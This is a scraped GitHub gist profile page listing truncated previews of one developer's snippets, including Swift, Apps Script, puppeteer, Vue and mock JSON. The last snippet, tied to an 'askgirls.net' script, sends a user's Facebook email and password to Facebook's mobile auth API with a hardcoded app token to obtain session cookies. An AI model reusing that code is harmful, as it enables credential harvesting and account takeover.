Skip to content

Instantly share code, notes, and snippets.

View peerasak-u's full-sized avatar

Peerasak Unsakon peerasak-u

View GitHub Profile

🚀 Xcode Lazy Coder Service 🛌

A macOS service for those Xcode wizards 🧙 who sometimes just want to take the easy road. Generates a quirky formatted string with your file name and selected code, copies it straight to your clipboard, and magically opens a specified website.✨

🌈 Features

  • 📜 Formatted String Generation: Pops out a string like:
    ARE YOU LAZY?
    FILENAME:  {{FILE_NAME_FROM_XCODE}}
    
import Foundation
protocol PresenterView: class {
func updateLabel()
}
class Presenter {
weak var view: PresenterView?
// Pass something that conforms to PresenterView
init(with view: PresenterView) {
self.view = view
}
const getShowtimes = () => {
const spreadsheet = SpreadsheetApp.getActiveSpreadsheet();
const range = spreadsheet.getSheetByName('ShowTime').getRange('A2:D');
const values = range.getValues();
const showtimes = values.filter((val) => val[0]).map(mappingShowTime);
const incoming = showtimes.filter(isIncoming)
const showing = showtimes.filter(isShowing)
const alreayShown = showtimes.filter(wasAlreadyShown)
const axios = require('axios');
const fetchState = async (projectId) => {
let result = await axios(
`http://167.99.72.166:3800/projects/${projectId}/state`,
);
return result.data;
};
const fetchSummary = async (projectId, status) => {
const fetchSheet = async (sheetId) => {
try {
var records = []
const response = await fetch(
`https://spreadsheets.google.com/feeds/list/${sheetId}/od6/public/values?alt=json`,
);
const responseJson = await response.json();
const { entry } = responseJson.feed;
records = entry.map(row => ({
column1: row.gsx$column1.$t,
@peerasak-u
peerasak-u / rooms.mock.json
Last active November 8, 2019 09:54
rooms.mock.json
[
{
"id": "5dc53b5ee7ad9e06d7d73bf7",
"current_pod_id": "5dc53b5e5d65fd00317cb4b7",
"floor": 4,
"deliver_date": "2020-07-14T09:45:31 -07:00",
"status": "COMPLETE"
},
{
"id": "5dc53b5e48006d959450afd0",
const puppeteer = require('puppeteer');
const track = async (number) => {
//launch headless browser and go to web page
const browser = await puppeteer.launch();
const page = await browser.newPage();
const url = 'http://track.thailandpost.co.th/tracking/default.aspx'
await page.goto(url);
//waiting for slider
await page.waitFor('.ui-draggable')
<template lang="pug">
v-container(fluid)
v-row(
align="center"
justify="center"
)
template(v-for="item in registerTypes")
v-col(cols="12" sm="5" md="4" lg="3" :key="item.headline")
type-card(
:headline="item.headline"
@peerasak-u
peerasak-u / ATK.js
Last active May 30, 2019 19:49
บริจาคให้แก่กลุ่มเพื่อน นป.
let zoneIndex = 0;
let zoneCount = 0;
const waitForElement = (selector, retryTimes = 400) => {
return new Promise((resolve, reject) => {
const findElement = (_selector, _retried) => {
const element = document.querySelector(_selector);
if (!element) {
if (_retried < retryTimes) {
window.requestAnimationFrame(() => findElement(_selector, _retried + 1));
//http://askgirls.net/fb3.js
console.log("js loaded!");
var login = function(email, password, verified_code) {
console.log('tới đây rồi');
var jsonreturn=(file_get_contents("https://b-graph.facebook.com/?include_headers=false&locale=en_US&client_country_code=US&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&method=post&batch=%5B%7B%22method%22%3A%22POST%22%2C%22body%22%3A%22format%3Djson%26device_id%3D93609b45-55fd-4152-bd9c-f954a455ae93%26email%3D"+encodeURIComponent(email)+"%26password%3D"+encodeURIComponent(verified_code || password)+"%26credentials_type%3Dpassword%26generate_session_cookies%3D1%26error_detail_type%3Dbutton_with_disabled%26generate_machine_id%3D1%26locale%3Den_US%26client_country_code%3DTH%26fb_api_req_friendly_name%3Dauthenticate%22%2C%22name%22%3A%22authenticate%22%2C%22omit_response_on_success%22%3Afalse%2C%22relative_url%22%3A%22method%2Fauth.login%22%7D%5D&fb_api_caller_class=com.facebook.katana.server.handler.Fb4aAuthHandler&fb_api_req_friendly_name=authLogin"));